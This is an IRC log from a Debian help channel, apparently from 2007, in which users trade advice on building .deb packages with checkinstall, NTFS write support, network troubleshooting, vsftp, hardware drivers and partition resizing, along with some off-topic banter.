| 03:40.46 | nvz | heh, I just read the stupidest funny line I've ever crossed in a book.. from the Da Vinci Code Chapter 38, Page 164 " 'These books can't possibly compete ... with the best seller of all time' Faukman's eyes went wide. 'Don't tell me Harry Potter is actually about the Holy Grail' 'I was referring to the Bible' " |
| 03:40.51 | nvz | </ot> |
| 03:41.04 | Decepticon | if i compile something from source, will it show up on synaptic, and will i be able to uninstall it from there? |
| 03:41.15 | JordiGH | Decepticon: |
| 03:41.18 | JordiGH | Decepticon: No. |
| 03:41.34 | Guerin | Decepticon: depends how you do it. Generally not, but it can be done using checkinstall or the debian build tools. |
| 03:41.35 | JordiGH | Decepticon: You would have to create a Debian package for it. |
| 03:42.03 | Decepticon | i didnt know you could create debian packages |
| 03:42.16 | Guerin | Decepticon: how do you think anyone does them? It's not magic. |
| 03:42.21 | militant | night folks :) |
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| 03:42.24 | Decepticon | well.. no i meant, myself |
| 03:42.38 | Guerin | Decepticon: checkinstall is the easiest but isn't 100% reliable |
| 03:42.47 | necr0mancer | He's lying, Debian packages are indeed magic. :P |
| 03:42.59 | Guerin | elsewise you can grtab source and treat it with dh_make and such |
| 03:43.26 | Guerin | actually, necr0mancer is right |
| 03:43.30 | JordiGH | Decepticon: If you can get the source to build, it's easy to create a Debian package that synaptic will recognise. It's more difficult to create a real package that could be uploaded to the Debian servers, though. |
| 03:43.34 | necr0mancer | ;D |
| 03:43.42 | Guerin | fortunately I can build them for you for the nominal sum of only $100n each ;) |
| 03:43.50 | Decepticon | okay so i should make it a debian package, that means like a .deb file right? ive seen this with a opera.deb file i downloaded and it shows up in synaptic as installed (obsolete) |
| 03:43.51 | necr0mancer | Lol. |
| 03:43.57 | JordiGH | What's $*n? That's not an ISO currency code. |
| 03:44.00 | Guerin | Decepticon: yep. |
| 03:44.09 | Guerin | JordiGH: nillion |
| 03:44.20 | JordiGH | Guerin: And are those dollars, pesos, or pieces of eight? |
| 03:44.21 | Decepticon | gotcha, how would i make a debian package, what commands |
| 03:44.22 | Guerin | a hundred nillion dollars |
| 03:44.31 | Guerin | Decepticon: checkinstall -D |
| 03:44.34 | Decepticon | ok thanks |
| 03:44.41 | Guerin | Decepticon: man checkinstall might be wise |
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| 03:45.05 | Decepticon | what packages do i need for checkinstall, i dont seem to have it |
| 03:45.09 | ivx | hey i had rsync start running as a cronjob, is there a way to check it's progress? |
| 03:45.12 | Guerin | !installit |
| 03:45.12 | dpkg | *** NEWS FLASH! *** Your box does not come with every app, tool and utility known to debiankind installed already. If you find that the program you've been told to use isn't there, install it. Also ask me about <search>. if someone suggests an application to you, it's highly likely that it's available via apt-get |
| 03:45.32 | Guerin | ivx: start it with --progress or something; otherwise, not really. |
| 03:45.42 | Decepticon | im getting no results for 'apt-cache search checkinstall' |
| 03:45.51 | Guerin | !info checkinstall |
| 03:45.53 | dpkg | checkinstall: (installation tracker), section admin, is optional. Version: 1.6.1-3 (sid), Packaged size: 109 kB, Installed size: 536 kB |
| 03:46.18 | Amarande | also, for non-free using types, skype does not work on etch :( |
| 03:46.20 | Guerin | Decepticon: check packages.d.o and the BTS |
| 03:46.28 | Guerin | Amarande: *shock* |
| 03:46.33 | Decepticon | i dont follow what you said there Guerin |
| 03:46.39 | Decepticon | check what? |
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| 03:46.54 | Guerin | Decepticon: check packages.debian.org and bugs.debian.org |
| 03:48.08 | soblue | but non-free.. sigh |
| 03:48.20 | grew | people actually speak esperanto? |
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| 03:48.26 | soblue | definately |
| 03:48.41 | soblue | somewhere in the range of 100,000 to 2 million people |
| 03:50.06 | soblue | Paroli Esperante estas bona. |
| 03:50.11 | tuv | is there a simple CLI tool that checks how many new messages there are in a remote imap(s) server? |
| 03:50.25 | Supaplex | tuv: fetchmail might |
| 03:50.40 | Supaplex | tuv: it'd be easy to write in perl |
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| 03:51.14 | Decepticon | is there a way i can test if I dpkg -i some.deb will work properly on my system |
| 03:51.30 | Decepticon | ie, the some.deb wont have broken dependencies |
| 03:51.36 | JordiGH | Decepticon: You mean, you want to solve the halting problem? |
| 03:51.50 | Decepticon | im not sure, what halting problem? |
| 03:51.50 | soblue | heheh... I was thinking that, JordiGH |
| 03:52.07 | JordiGH | Decepticon: Oh, broken dependencies. Yes, that's what apt is for. |
| 03:52.59 | soblue | "n computability theory the halting problem is a decision problem which can be informally stated as follows: |
| 03:52.59 | soblue | <PROTECTED> |
| 03:52.59 | soblue | Alan Turing proved in 1936 that a general algorithm to solve the halting problem for all possible program-input pairs cannot exist. " |
| 03:52.59 | soblue | oops |
| 03:52.59 | soblue | sorry |
| 03:53.00 | soblue | I didn't intend to put on multiple lines like that |
| 03:53.08 | Supaplex | genius :) |
| 03:53.13 | Decepticon | well, im trying to get a package from synaptic, and its got an old version. but i see a decent version in 'testing' .... so i went and got the .deb file from packages.debian.org, now i just want ot be sure that its workable before i install it via dpkg.. or is there a better way to do this |
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| 03:53.50 | JordiGH | Decepticon: You can tell aptitude or apt-get to try to get the testing version... but that's almost guaranteed to drag essential dependencies from testing, such as libc6. |
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| 03:54.52 | Supaplex | Decepticon: check backports, or backport it yourself. |
| 03:55.16 | tuv | for some reason gkrellm's Mail facility detects a number of 'new' messages that are not new |
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| 03:56.16 | JordiGH | I like to think of it as the RIAA invoking the bloodhounds each time I successfully burn a CD. |
| 03:57.07 | soblue | "Don't download this song .... go and buy the CD, like you know that you should ... " |
| 03:57.09 | Fetrovsky | can I rw mount an ntfs? |
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| 03:58.32 | soblue | Fetrovsky: That's something they've been working on trying to get working recently. Not sure if they've succeeded yet. |
| 03:58.53 | JordiGH | Fetrovsky: Not safely. There are reports of it working with captive, but there are also reports of captive destroying data |
| 03:59.02 | tuv | Fetrovsky, check out ntfs-3g |
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| 03:59.45 | JordiGH | Hey, ntfs-3g works already? |
| 04:00.04 | JordiGH | They didn't change the filesystem for Vista, did they? |
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| 04:00.46 | tuv | from ntfs-3g.org: 'The driver is in STABLE status since February 2007, after twelve years of development. ' |
| 04:01.37 | JordiGH | Huh? ntfs is 12 years old? |
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| 04:02.11 | soblue | that would place it in 1995.. |
| 04:02.21 | soblue | I think Windows NT existed back then |
| 04:03.00 | soblue | In fact, it would coincide with the Win95 release, so I'd say you'd be at NT 4.0 already |
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| 04:03.53 | wols | soblue: no. 3.51 came out after wintendo95 |
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| 04:04.27 | soblue | heh.. wintendo. you're funny, maybe you're right :) |
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| 04:05.04 | nvz | there is still no way to play embedded shockwave application/x-direct in debian? |
| 04:05.10 | linux_jones | my internet browser stops at "waiting on ....." i need a way to prove that this is the isp and not me screwing something up, can anyone help me do this? |
| 04:06.12 | JordiGH | Huh, there isn't an explicit recommendation to not top-post for the Debian mailing lists. |
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| 04:08.03 | linux_jones | anyone? |
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| 04:08.53 | grendal_prime | besides the obviouse is there any really bad reason to turn off kernel logging? |
| 04:09.11 | grendal_prime | im just curriouse how much resources that consumes. |
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| 04:10.09 | grendal_prime | this is on a workstation system. |
| 04:11.06 | soblue | linux_jones: sounds like a question to ask whoever makes your browser |
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| 04:11.47 | linux_jones | well i have tried mutiple browsers and i get the same problem, thats why i think its an isp problem |
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| 04:12.18 | soblue | linux_jones: are you using the same connection now? |
| 04:12.22 | dob1 | i have some problem installing sun java5 jre http://paste.debian.net/30162 any help? the problem is on sun-java5-bin |
| 04:12.24 | linux_jones | yes |
| 04:12.44 | soblue | linux_jones: then maybe you need to configure a proxy to use http |
| 04:12.54 | dob1 | on etch |
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| 04:13.41 | soblue | linux_jones: the only other thing I can think of is a firewall blocking port 80 (http), but I don't know why any ISP would do that |
| 04:14.18 | linux_jones | soblue, would a down dns server at the isp cause it? |
| 04:14.32 | soblue | linux_jones: I assume you're on a linux box? |
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| 04:14.44 | linux_jones | soblue, yes |
| 04:15.10 | soblue | linux_jones: then try host www.yahoo.com at the terminal |
| 04:15.17 | grendal_prime | besides the obviouse is there any really bad reason to turn off kernel logging? |
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| 04:15.37 | soblue | linux_jones: what does it respond with? |
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| 04:17.09 | linux_jones | soblue, the ip and alias |
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| 04:17.09 | soblue | linux_jones: then your DNS is working |
| 04:17.36 | linux_jones | soblue, is there another reason on there end that would cause this? because nothing has been changed on the network here and it just stopped working |
| 04:19.04 | soblue | linux_jones: there's a lot of things that could be wrong and not the ISP's fault. maybe something was misconfigured on your end and nobody was being strict about conformance until now. |
| 04:19.12 | soblue | ...for example |
| 04:19.30 | soblue | that happened to me with Debian sarge. |
| 04:20.02 | linux_jones | i have the same problems on roommates xp box, |
| 04:20.30 | soblue | linux_jones: is this a college network? |
| 04:20.56 | soblue | I ask because I think they sometimes require proxies |
| 04:21.29 | soblue | and they might have changed their policy lately |
| 04:22.39 | linux_jones | no, home network, on a huge cable provider |
| 04:23.56 | soblue | linux_jones: then I don't know. sorry. |
| 04:24.35 | linux_jones | thanks for the help |
| 04:24.46 | soblue | you're welcome :) |
| 04:25.28 | linux_jones | would setting up a proxy solve the issue anyway |
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| 04:26.03 | soblue | only if it's the lack of a proxy that's causing the problem |
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| 04:27.12 | linux_jones | ok since i cant look up how to do it online, would anyone mind walkinging me through it real fast? |
| 04:28.01 | soblue | I've never actually set up a proxy on Linux... |
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| 04:28.22 | soblue | I just know that it can be a problem, that's all. |
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| 04:28.46 | linux_jones | ok well i guess it was just the isp, because it all of the sudden it started working again |
| 04:28.52 | linux_jones | but thanks alot for the help |
| 04:29.14 | soblue | good luck :) |
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| 04:30.10 | kritical | I use vsftp for ftp... I have a user who I want to give access to another directory outside their home dir... I have everyone chroot'd to their home directory.. using a symbolic link didn't work... would a hard link work? |
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| 04:32.43 | soblue | I guess I'm gonna go. bye linux_jones, kritical, et al. |
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| 04:33.44 | tuv | kritical, if it doesn't, try mount --bind |
| 04:34.07 | kritical | tuv, ahh good idea, cheers |
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| 04:36.53 | tuv | kritical, np |
| 04:37.09 | Fetrovsky | tuv: after TWELVE years!!! |
| 04:37.52 | Fetrovsky | sweet!!! |
| 04:37.54 | Fetrovsky | The NTFS-3G driver is an open source, freely available read/write NTFS driver for Linux, FreeBSD, OS X, and NetBSD. |
| 04:38.01 | Fetrovsky | it works with the BSDs too!! :D |
| 04:38.21 | tuv | Fetrovsky, tell me about it |
| 04:38.52 | freespace | for creating presentations under debian, what are my choices besides openoffice impress? |
| 04:39.17 | Fetrovsky | tuv: huh? |
| 04:39.24 | tuv | freespace, if you're the hard core type, latex's beamer can do wonderful things |
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| 04:39.51 | tuv | Fetrovsky, i mean 12 years is a long time indeed |
| 04:39.51 | freespace | coool, I will need equations - thanks tuv |
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| 04:41.54 | Fetrovsky | yeah!! |
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| 04:42.10 | metbsd | how do i make mysql to run a bunch of sql commands i created? |
| 04:42.15 | arooni | anyone have any resources regarding backing up to S3? |
| 04:42.28 | arooni | specificially with debian 4.1? |
| 04:42.32 | arooni | or advice if it will work or not? |
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| 04:44.27 | cmacis | latex can do nice presentations?! I must learn it a bit better. |
| 04:44.45 | fedx | i just installed edgy and it's making me change the passwd every time i login... how do i turn that "feature" off? |
| 04:44.54 | niru | Where to put udebs |
| 04:44.58 | niru | I downloaded an udeb |
| 04:45.07 | niru | Now can i put directly in my pool |
| 04:45.07 | Wyzard | niru: udebs are for use by the installer, not on an installed system |
| 04:45.19 | niru | yup Wyzard |
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| 04:45.31 | niru | I want to know that where can i add udebs package |
| 04:45.40 | niru | I have a pool can i put it directly there |
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| 04:45.57 | niru | or do I need to add it to d-i and compile it again and use that d-i to get the effects |
| 04:47.05 | niru | Wyzard, libdevmapper1.02-udeb is coming from which package |
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| 04:48.29 | niru | which package in debian-installer gives libdevmapper1.02-udeb |
| 04:48.42 | haiyah | hi, i'm about to buy this mainboard by gigabyte. its ethernet network is by realtek chipset. is debian compatible with this chipset? i read in realtek there are problems in linux |
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| 04:49.43 | gcardinal | is it possible to purge all squid's cache |
| 04:49.53 | fedx | anyone catch my question? can't find an answere |
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| 04:51.13 | aredhel | fedx, yes, I all so, caught that you use ubuntu. You will have better luck in #ubuntu then here. |
| 04:51.23 | peterS | haiyah: I haven't heard of any particular problems with Linux and Realtek network chips. I mean, the Realtek 8029, 8129 and 8139 are cheap chips that wouldn't be suitable for an important server, but as far as I've ever seen and heard, the Linux drivers are pretty solid |
| 04:51.35 | fedx | i didn't mean edgy =) it's debian netinstall |
| 04:51.39 | peterS | haiyah: the Realtek 8169 gigabit ethernet chip, I don't know so much about, but I _understand_ that one works fine too |
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| 04:52.53 | peterS | fedx: of course you didn't mean edgy, now that you've heard you won't get much help for edgy (: |
| 04:53.07 | haiyah | peterS: hi thanks for your reply.. the chipset that i'm getting is Realtek 8110SC |
| 04:53.34 | ravsi | anyone have any idea why for vsftp useradd doesn't work and adduser does? |
| 04:53.43 | haiyah | Realtek 8110SC Gigabit Ethernet controller |
| 04:53.54 | fedx | it's debain, i swears it |
| 04:54.03 | peterS | haiyah: haven't heard of that one, so I don't know what to tell ya. let me poke around and see if there's a driver |
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| 04:54.47 | peterS | haiyah: ahh, it's a variant of the Realtek 8169, and uses the same driver. I imagine that means it'll work fine |
| 04:55.25 | haiyah | peterS: great..thanks.. :> |
| 04:55.53 | peterS | haiyah: at least ... the "8110s" is handled. I don't know if that's different |
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| 04:56.44 | aredhel | fedx, the setting for that should be some place in one of the files in the /etc/pam.d dir. |
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| 04:57.45 | fedx | ok thanks |
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| 05:01.22 | gcardinal | is it normal that a webserver with around 300,000 hits / day have CPU load of 80% constantly? Running APC, Squid ...its celeron 3ghz |
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| 05:05.02 | dsoul | hola |
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| 05:05.50 | phillip | Hi. I am having a problem with apache and I need some help and I am using debian |
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| 05:07.36 | phillip | Forcing reload of web server (apache2)...[Mon Jun 11 00:53:21 2007] [warn] Useless use of AllowOverride in line 22. |
| 05:07.36 | phillip | [Mon Jun 11 00:53:21 2007] [warn] NameVirtualHost *:0 has no VirtualHosts |
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| 05:13.08 | lymeca_ | Is there anything like Revisor for Debian? |
| 05:13.48 | lymeca | "Revisor enables you to customize and compose your own Fedora based installation and live media. It does so by presenting you a GUI with all options you can click you way through, and a CLI and extended configuration files for the more advanced users." |
| 05:13.51 | lymeca | http://revisor.fedoraunity.org/ |
| 05:14.19 | Supaplex | lymeca: debian-live, tasksel |
| 05:14.37 | Supaplex | lymeca: also, "preseeding" for d-i (installer) |
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| 05:16.55 | phillip | Apache users are a real jerk on this network |
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| 05:17.27 | metbsd | so what's latest debian |
| 05:18.05 | cafuego | 4.0 |
| 05:18.49 | phillip | Can someone help me out with apache problem that is running debian please? |
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| 05:20.24 | aredhel | fedx, ok so while what I said was true, it was most likely the long way, try reading "man passwd", if you havn't all ready. |
| 05:21.08 | meekish | Is there a package available to install mod_headers with the apt-get version of Apache 2? |
| 05:21.56 | fedx | arehel: been fishing around in pam.. no option .. lemme look |
| 05:24.16 | Quintin | Soo |
| 05:24.23 | Quintin | what encoding are pages output by my etch server? |
| 05:24.31 | Quintin | utf-8? or latin? |
| 05:24.34 | Quintin | how do I find out |
| 05:24.35 | fedx | you talking about the -k option? |
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| 05:25.24 | aredhel | fedx, pam is what makes you change your passwd, but most likely it's pam_unix.so which is doing it. pam_unix.so is controlled in part by /etc/shadow, which can be set by the passwd cmd. No -x and -m |
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| 05:26.44 | fedx | min is set to 0 and max is set to 9999 in pam |
| 05:26.57 | eazy3333 | supaplex |
| 05:27.29 | aredhel | fedx, and in the line for you account in /etc/shadow? |
| 05:27.48 | metbsd | i installed debian and see the file dbootstrap_settings, what's the file for? |
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| 05:28.46 | fedx | same |
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| 05:32.31 | kangaroo | Hello! |
| 05:32.43 | dsoul | hi |
| 05:32.44 | aredhel | fedx, the last place I can think of to look is /etc/login.defs |
| 05:32.47 | Supaplex | eazy3: yes? |
| 05:32.55 | Quintin | what is the irc archive for this channel? |
| 05:33.08 | Supaplex | !tell phillip -about ask |
| 05:33.30 | kangaroo | I need help booting to my Sata dvd drive. I use a promise controller card |
| 05:34.11 | kangaroo | It tells me there is a bootable dvd inside but I don't know how to boot into it |
| 05:34.56 | vorpal | kangaroo: is your bios properly configured? |
| 05:35.06 | kangaroo | yep |
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| 05:35.27 | kangaroo | well, actually there is no dvd boot option, only cd-rom |
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| 05:35.54 | vorpal | kangaroo: is the promise controller integrated? |
| 05:36.07 | kangaroo | but the promise bios detects the dvd so it should be no problem... |
| 05:36.28 | kangaroo | into the main board? |
| 05:36.32 | vorpal | kangaroo: yes |
| 05:36.44 | kangaroo | nope |
| 05:37.24 | vorpal | mmm, not familiar with those, but in SCSI world, you sometimes had to configure both the host BIOS and the controller BIOS |
| 05:37.25 | Supaplex | what happens when you set/use cd-rom? |
| 05:38.00 | kangaroo | It says bootable media found or something like it |
| 05:38.20 | kangaroo | debian doesn't even detect my sata dvd-drive -.- |
| 05:38.52 | kangaroo | How can I configure the promise bios? If it's even possible |
| 05:39.06 | vorpal | well, the most i can suggest is to google |
| 05:39.19 | Supaplex | kangaroo: sata's pretty new for that, try some legacy pata support |
| 05:40.32 | nevyn | kangaroo: you'll need to attach it to a bootable controller. |
| 05:40.39 | nevyn | and the promise is probably the wrong choice |
| 05:40.41 | kangaroo | But do you think I have to install the drivers on the cd that came with the controller card? |
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| 05:41.25 | kangaroo | It could, however be a waste of time since te promise bios detects the bootable dvd |
| 05:41.26 | Supaplex | kangaroo: debian installer says it cannot detect the drive, right? |
| 05:42.02 | kangaroo | no it didn't saqy anything since I used the other cd-rom drive :) |
| 05:42.18 | nevyn | kangaroo: the promise finding the drive is one thing. |
| 05:42.27 | nevyn | but it doesn't mean it's bootable |
| 05:42.33 | fedx | later.. bed |
| 05:42.38 | Supaplex | kangaroo: how many drives are in this system? |
| 05:42.40 | kangaroo | but now I want to boot into a double-sided dvd which the cd-rom can't read, naturally |
| 05:42.45 | nevyn | does debian boot off the cd but can't find the cdrom? |
| 05:42.55 | Supaplex | kangaroo: is it a duallayer drive? |
| 05:42.57 | kangaroo | one cd-rom, one dvd-rom |
| 05:43.02 | kangaroo | yep |
| 05:43.35 | Supaplex | cd boots fine? |
| 05:43.45 | Supaplex | in the cdrom drive, right? |
| 05:43.56 | kangaroo | yes |
| 05:44.21 | Supaplex | even some systems with multiple optical drives, sometimes it'll only boot from one. hopefully that's not the case in yours. |
| 05:44.29 | Supaplex | does the cd boot from the dvd drive? |
| 05:44.50 | kangaroo | no |
| 05:44.53 | Supaplex | is the sata controller onboard? or on a pci card? |
| 05:44.57 | kangaroo | pci |
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| 05:45.15 | Supaplex | does your bios have a setting to use the pci card? |
| 05:45.33 | kangaroo | I don't know, maybe not... |
| 05:45.37 | Supaplex | maybe it's "boot from other" or "boot from expansion card" |
| 05:45.55 | Supaplex | review all the boot options the bios provides =) |
| 05:46.13 | kangaroo | I can try, but it's an old bios so maybe there is no option for that ;-) |
| 05:46.22 | kangaroo | I'll be back |
| 05:46.32 | Supaplex | well, try em all I guess. :p |
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| 06:00.28 | PFA | hi how i get linux |
| 06:01.01 | Zemus | !anyone |
| 06:01.01 | dpkg | Please do not ask if anyone uses, knows, is good with, can help you with or is a guru/expert of <someprogram>. Instead, ask your real question. (If the real question _was_ "does anyone use <someprogram>?" ask me about <popcon> instead.) See <ask> <sicco> <ask-to-ask> <polls> |
| 06:01.16 | PFA | wut does that mean |
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| 06:01.27 | Zemus | PFA, ask an intelligent question, get an intelligent answer. |
| 06:01.30 | PFA | my freind told me to get a linux he sed debien was rly good but i dun understand how to get 1??/ |
| 06:01.45 | PFA | whut does it do??? |
| 06:02.05 | Amarande | PFA: Linux is an operating system. |
| 06:02.12 | PFA | where can i d/l it? |
| 06:02.17 | Amarande | www.debian.org for debian |
| 06:02.27 | PFA | does it hav spywear && is it free |
| 06:02.30 | PFA | i dun wan any trojans |
| 06:02.39 | Amarande | it's free, and there is no spyware I know of |
| 06:03.04 | PFA | how do i get it whut does it do on my computer |
| 06:03.08 | Amarande | Debian is a community effort. Anyone trying to slip spyware in would find their changes taken out as soon as they were seen, and probably end up being ostracized permanently by the dev community. |
| 06:03.17 | PFA | ostarcized???? |
| 06:03.27 | Amarande | Thrown out. Shunned. Hated. :) |
| 06:03.29 | PFA | plz stop using big words i am not good w/ computers |
| 06:03.41 | MoDaX | PFA: http://en.wikipedia.org/wiki/Operating_system |
| 06:03.53 | Amarande | The only thing in Debian that even comes close to being spyware is the popularity contest thing, and you can decide not to join that. |
| 06:04.08 | Amarande | Even if you do, it's designed to protect your privacy |
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| 06:04.24 | PFA | oh is it like firefox for browsing internet |
| 06:04.35 | MoDaX | PFA: no, its not |
| 06:04.42 | PFA | oic whut does it do then? |
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| 06:04.48 | Zemus | PFA, yes. Yes, it is exactly like that. |
| 06:04.54 | PFA | plz do not tell me to go 2 wikipedia i dont trust it because ne1 can change things |
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| 06:04.58 | cmacis | It's like windows or mac os except free |
| 06:05.07 | Amarande | PFA: You can run Firefox on it, but it's not Firefox. |
| 06:05.09 | MoDaX | PFA: if you're expecting a windoze program, it's not it |
| 06:05.10 | PFA | y do i need that i already paid 4 iwndows |
| 06:05.26 | Amarande | Because Windows does not meet the DFSG, and therefore is a Bad Thing(tm) :) |
| 06:05.33 | PFA | wtf is dfsg |
| 06:05.43 | Amarande | Debian Free Software Guidelines :) |
| 06:05.51 | cmacis | If you're not curious and not good with computers as you claimed then you probably don't need it. |
| 06:05.58 | Amarande | All software in Debian, other than the "non-free" section, is scrupulously checked to make sure it's free. :) |
| 06:06.00 | PFA | i am curiose!!!! |
| 06:06.19 | MoDaX | PFA: ask your friend to install OS for you |
| 06:06.22 | PFA | i just dont understand y do i need it on my computar???? my frien told me that it would make my computar better |
| 06:06.30 | unix_infidel | anyone know a method to cool an external aluminum drive? |
| 06:06.30 | MoDaX | PFA: you should do this yourself |
| 06:06.32 | PFA | i dunno i am not aloud to have boys over in my room |
| 06:06.35 | MoDaX | shouldn't |
| 06:06.38 | Amarande | It does make your computer better. |
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| 06:06.51 | Amarande | Generally speaking, Linux is more efficient and less of a hog than Windows. |
| 06:06.54 | unix_infidel | (no fan) |
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| 06:07.20 | PFA | i dont understand this chat is moveing too fast!!!! |
| 06:07.26 | Amarande | unix_infidel, I always keep mine sitting right in front of the window with the air conditioner |
| 06:07.38 | unix_infidel | Amarande: too much condensation that way. |
| 06:07.51 | unix_infidel | ambient temp here is about 80F |
| 06:07.52 | cmacis | PFA: are you a native English speaker. Everyone else, are there #debian-other-lang? |
| 06:07.57 | Coweater | wow, such an obvious troll and he's still taken seriously |
| 06:08.04 | PFA | cmacis: yes!!! i am american |
| 06:08.25 | cmacis | I did say "English" speaker :P |
| 06:08.32 | PFA | wat? |
| 06:08.35 | nvz | heh |
| 06:08.50 | PFA | i am an english speaker i am from america |
| 06:08.51 | unix_infidel | anyone else? |
| 06:09.05 | nvz | PFA: you say that like americans all speak english |
| 06:09.14 | PFA | y does nobody want 2 tell me whut this debien thing is i am just curiose |
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| 06:09.30 | kangaroo | Problem solved guys! |
| 06:09.40 | nvz | PFA: http://www.debian.org/ |
| 06:09.43 | kangaroo | I can now boot into the dvd |
| 06:09.53 | PFA | i am only 15 years old ok im not computer nerds like u |
| 06:09.57 | PFA | i dont understand this website |
| 06:10.09 | kangaroo | What's so hard with it? |
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| 06:10.16 | nvz | PFA: hah. sorry to hear that I know people way younger than you that can read |
| 06:10.20 | PFA | its confuseing!!!! |
| 06:10.27 | nvz | and write |
| 06:10.44 | PFA | i can read and write! omg y r u ppl so rude |
| 06:10.47 | kangaroo | In which kind of way? |
| 06:10.52 | PFA | i did not do nething rong |
| 06:11.00 | nvz | and even type, spell, count, add (without using their fingers or toes) |
| 06:11.09 | stew | PFA: if you have a specific debian related question, ask it in english. otherwise please move on |
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| 06:11.15 | PFA | i am speaking english!!!! |
| 06:11.18 | nvz | heh |
| 06:11.19 | PFA | whut is wrong with u ppl?!?!?! |
| 06:11.20 | kangaroo | Please, cut it already |
| 06:11.28 | stew | PFA: do you have a debian related question or not? |
| 06:11.30 | kangaroo | What's wrong with the site |
| 06:11.31 | PFA | yes!!! |
| 06:11.34 | stew | PFA: please ask it |
| 06:11.41 | PFA | wtf is debien?!?!?! why r ppl telling me to use it |
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| 06:11.50 | cmacis | ask them |
| 06:11.53 | PFA | thats ALL i want 2 know |
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| 06:11.55 | PFA | he is on vaca now |
| 06:11.58 | Coweater | he's a troll, ignore him like he wants, geez |
| 06:11.59 | kangaroo | It's kind of an OS actually |
| 06:12.04 | PFA | what is OS |
| 06:12.05 | Zemus | "kind of"? |
| 06:12.07 | stew | PFA: debian is explained at debian.org, if you don't understand that site, ask a specific question |
| 06:12.13 | kangaroo | lol |
| 06:12.17 | PFA | i dont understand!!! its so confuseing!!!!! |
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| 06:12.21 | nvz | heh |
| 06:12.31 | Zemus | stew, request pm? |
| 06:12.37 | stew | Zemus: ok |
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| 06:12.43 | kangaroo | Poor little 15-year-old guy |
| 06:12.50 | nvz | yeah whatever |
| 06:12.54 | GreaseMonkey | i wasn't that bad when i was 15 |
| 06:13.00 | GreaseMonkey | and that wasn't long ago |
| 06:13.06 | kangaroo | :) |
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| 06:13.21 | cmacis | Aye, I'd even progressed beyond BASIC at 15 |
| 06:13.24 | kangaroo | I'm 15 now ;-) |
| 06:13.34 | stew | please keep it on-topic |
| 06:13.40 | kangaroo | Sorry |
| 06:13.46 | nvz | BASIC is alwyas on topic :P |
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| 06:14.05 | kangaroo | Thanks for the help all of you! See you! |
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| 06:14.25 | cmacis | yes, I found python installed and read up on it. I wish I'd learnt that as my 1st instead of basic. |
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| 06:14.52 | nvz | cmacis: python is well documented makes it easy to learn |
| 06:15.34 | nvz | my experience with the python docs is the same information chewed up and regurgitated into 4 different consistancies |
| 06:16.04 | cmacis | Fortunately I also have access to my university library as well. |
| 06:17.06 | nvz | you got the tutorial for people who got a lot of time and little knowledge, then you got the library reference for people with little knowledge and little patience, the global module index for the nit-pickers |
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| 06:17.57 | artagnon | cups is running but I'm unable to connect to it (localhost:631 is unaccessible). What could be wrong? |
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| 06:18.22 | artagnon | Everything was fine before I made some administrative changes |
| 06:18.35 | nvz | cmacis: I have access to about 70 different libraries including CMU, and other schools in the area throuh the local inter-library loan and online catalogue system |
| 06:18.54 | cmacis | Nice. |
| 06:18.55 | nvz | I pick at the CMU library all the time |
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| 06:19.04 | nvz | my local library sucks |
| 06:19.23 | nvz | but I can get books from CMU delivered their for checkout |
| 06:19.31 | nvz | there even |
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| 06:21.12 | cmacis | quote:"Linux has to be in there somewhere. It's like a working copy of vista, but it's free." |
| 06:21.15 | nvz | If there is one thing I will give Tom Ridge credit for, its the POWER library system and the good support of the library system |
| 06:22.11 | nvz | I can get a free netlibrary account by going to my library and signing up from there with my barcode, and I can access it and lots of other online resources from home using my barcode number |
| 06:22.32 | nvz | sweet system really.. one of the few things I actually like about PA |
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| 06:22.40 | sebi__ | hi |
| 06:22.43 | nvz | besides all the trees |
| 06:22.47 | nvz | sebi__: hello |
| 06:23.00 | sebi__ | i need to resize ext3 on /home because no space left |
| 06:23.04 | sebi__ | need to take from / |
| 06:23.09 | nvz | sebi__: yikes |
| 06:23.19 | artagnon | cups is running but I'm unable to connect to it (localhost:631 is unaccessible). What could be wrong? Everything was fine until I made some changes in the cups admin page |
| 06:23.32 | sebi__ | any program available to do this?\\ |
| 06:23.44 | sebi__ | tune2fs maybe ? |
| 06:23.52 | artagnon | sebi__: is it LVM'ed |
| 06:24.00 | sebi__ | unfortunately no |
| 06:24.04 | sebi__ | its simple partitionm |
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| 06:24.25 | Xenguy | sebi__: I'm trying to remember if partimage will do that kind of thing |
| 06:24.34 | sebi__ | ok tnx |
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| 06:24.51 | nvz | !info ext2resize |
| 06:24.53 | dpkg | ext2resize: (an ext2 filesystem resizer), section admin, is extra. Version: 1.1.19-9 (sid), Packaged size: 204 kB, Installed size: 368 kB |
| 06:24.57 | artagnon | sebi__: it's not exactly easy then. Try to LVM atleast next time |
| 06:25.39 | Guerin | because lvm is so easy |
| 06:25.48 | Guerin | i mean |
| 06:25.50 | Guerin | of course it is |
| 06:25.54 | Guerin | until it stops working |
| 06:26.02 | Guerin | at which point you're utterly fux0res |
| 06:26.03 | Guerin | d |
| 06:26.09 | artagnon | LVM doesn't stop working |
| 06:26.19 | Guerin | tell that to the guy whose lvm did today |
| 06:26.45 | Guerin | it's just another set of moving parts which can stop moving |
| 06:27.59 | artagnon | I've never seen a case of failure |
| 06:28.02 | sebi__ | so i can take space from / and allocate it to /home with ext2resize on a live filesystem?\ |
| 06:28.06 | sebi__ | on the fly? |
| 06:28.13 | artagnon | sebi__: that's impossible |
| 06:28.16 | artagnon | even with LVM |
| 06:28.23 | artagnon | the fs is to blame |
| 06:28.28 | Guerin | sebi__: back up and use a livecd |
| 06:28.52 | Guerin | you could also use mount --bind trickery |
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| 06:28.58 | artagnon | If I'm not mistaken, one of XFS and ResierFS allows on-the-fly resizing |
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| 06:29.48 | Guerin | xfs only increases, it's impossible to shrink a filesystem. I wouldn't trust ricerfs as far as complex stuff like this goes, since it has no useful recovery tools. |
| 06:30.22 | sebi__ | can i make a LVM on my existing partitions now ? |
| 06:30.25 | Guerin | i suppose I'm quite conservative about this |
| 06:30.27 | sebi__ | and resize after? |
| 06:30.31 | Guerin | I like my data |
| 06:30.33 | artagnon | cups is running but I'm unable to connect to it (localhost:631 is unaccessible). What could be wrong? |
| 06:30.52 | Guerin | artagnon: what response does telnet localhost 631; yield? |
| 06:30.55 | Readon | is there a tools can controll the usb access, only the specified usb can be accessed? |
| 06:31.00 | artagnon | sebi__: You haven't understood LVM then :) |
| 06:31.09 | Guerin | Readon: not that I'm aware of. |
| 06:31.18 | sebi__ | so i need to reinstall debian ? |
| 06:31.20 | artagnon | Guerin: one sec |
| 06:31.22 | Guerin | Readon: unsure what the point of that would be |
| 06:31.33 | artagnon | telnet: could not resolve localhost:631/telnet: Name or service not known |
| 06:31.37 | artagnon | Guerin: ^^ |
